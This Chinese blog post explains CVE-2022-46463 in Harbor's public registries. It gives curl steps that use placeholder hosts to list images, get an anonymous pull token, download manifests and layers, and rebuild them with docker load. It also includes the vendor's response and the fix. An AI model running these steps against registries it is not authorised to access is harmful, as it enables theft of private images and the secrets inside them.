CVE-2022-46463 Harbor public 镜像仓库信息泄露

CVSS评分:7.5

CVE-2022-46463 Harbor public 镜像仓库信息泄露

  • [1. 漏洞原理](#1. 漏洞原理)
  • [2. 漏洞危害](#2. 漏洞危害)
  • [3. 漏洞修复](#3. 漏洞修复)

1. 漏洞原理

Harbor 是一个企业级的 Docker Registry 服务,用于存储和管理 Docker 镜像。当 Harbor 实例被设置为公开(public)时,可能导致敏感信息泄露的风险。攻击者可以通过公开的 Harbor 实例访问到存储在其中的镜像信息,包括可能包含敏感数据、配置文件、私钥等的镜像内容。这种信息泄露可能导致数据泄露、安全漏洞暴露等问题,严重影响系统和数据的安全性。

通过 CVE-2022-46463,读取公开镜像信息并拉取,例子(v2版本):

++1、首先读取公开镜像列表++

读取全部镜像,就是传入一个 / ,但是企业内部的镜像有很多,读取全部镜像可能耗时会很长

bash 复制代码
http://xxx/api/v2.0/search?q=your-search

++2、获取仓库的 Pull Token++

bash 复制代码
http://xxx/service/token?scope=repository%3A这里填你的image镜像名称%3Apull&service=harbor-registry

会返回一个 token 的值:

后续所有的请求,都要带上:

bash 复制代码
Authorization: Bearer $TOKEN

++3、查询 tag 的 digest(即 manifest digest)(这个不用带Authorization)++

bash 复制代码
http://xxx/api/v2.0/projects/镜像名称前半部分/repositories/镜像名称后半部分/artifacts?with_tag=true

我们需要:

  • digest 的值

++4、根据 manifest digest 获取镜像 manifest++

bash 复制代码
curl -sk \
  -H "Authorization: Bearer $TOKEN" \
"https://xxx/v2/你镜像的名字/manifests/第三步得到的digest值"

此处需要所有 layer 的 digest,这些是镜像的真正数据层:

bash 复制代码
sha256:layer1...
sha256:layer2...
...

++5、逐层下载镜像 Layer Blob(镜像内容主体)++

bash 复制代码
curl -sk \
  -H "Authorization: Bearer $TOKEN" \
  -o layer1.tar.gz \
"https://xxx/v2/镜像名称/blobs/上一步得到的 layer 的 digest"

重复此操作下载所有层,得到文件:

bash 复制代码
layer1.tar.gz
layer2.tar.gz
...

++6、下载 config(镜像配置)++

manifest 通常还包含 config digest:

plain 复制代码
"config": {
   "digest": "sha256:cf1234..."
}

同上一步骤,下载 config,到这一步,我们就拿到了完整镜像内容(等价于 docker pull 后 docker save 导出的结构)。

++7、本地还原镜像(离线加载)++

如果你想把这些 API 拉下来的文件还原成一个 docker 镜像,把目录结构做成:

plain 复制代码
manifest.json
config.json
<digest>/layer.tar
<digest>/layer.tar

然后:

bash 复制代码
tar -cvf image.tar manifest.json config.json */layer.tar
docker load -i image.tar

即可完全离线还原镜像

2. 漏洞危害

官方回应明确指出,他们不认为公开的 CVE-2022-46463 是Harbor的一个漏洞,而是Harbor官方文档中所明确定义的特性之一,即用户可以设置一些镜像为公开,该特性导致Harbor上的所有被设置为公开的项目都通过相应的API接口被列举,获取详细信息,甚至被拉取。

测试过程中,如果用户不对项目访问级别勾选"公开"项,则只有项目设置所属账户和admin账户可以看到此类项目,因而所有未认证的用户均无法通过API或前端查询到任何信息。

但由于Harbor的前端界面需要登录认证,针对使用Harbor不熟悉的用户在操作时仍有可能会误用该功能,从而使包含敏感信息的镜像仓库对所有人开放,而用户的初衷可能只是对认证用户开放。

3. 漏洞修复

不对项目访问级别勾选"公开"项

相关推荐
南行*5 分钟前
C语言Linux环境编程
linux·c语言·开发语言·网络安全
乾元16 分钟前
如何把 CCIE / HCIE 的实验案例改造成 AI 驱动的工程项目——从“实验室能力”到“可交付系统”的完整迁移路径
大数据·运维·网络·人工智能·深度学习·安全·机器学习
GC_ESD35 分钟前
为芯片穿上“防弹衣”:PERC如何守护先进制程下的ESD安全
安全
acrelgxy38 分钟前
从被动响应到主动预警:安科瑞门店电气安全全景管控方案
安全·电能管理系统·电力监控系统·智能电力仪表
南行*1 小时前
MSF安全开发
安全·网络安全·系统安全·ruby
Whoami!4 小时前
❿⁄₇ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击 ➱ 提取密码管理器KeePass主密码(下)
网络安全·信息安全·哈希算法·密码破解·keepass
沈浩(种子思维作者)9 小时前
真的能精准医疗吗?癌症能提前发现吗?
人工智能·python·网络安全·健康医疗·量子计算
vortex512 小时前
Wfuzz 全面使用指南:Web 应用模糊测试工具详解
网络安全·渗透测试·kali
汤愈韬13 小时前
NAT策略
网络协议·网络安全·security·huawei
汤愈韬14 小时前
Full Cone Nat
网络·网络协议·网络安全·security·huawei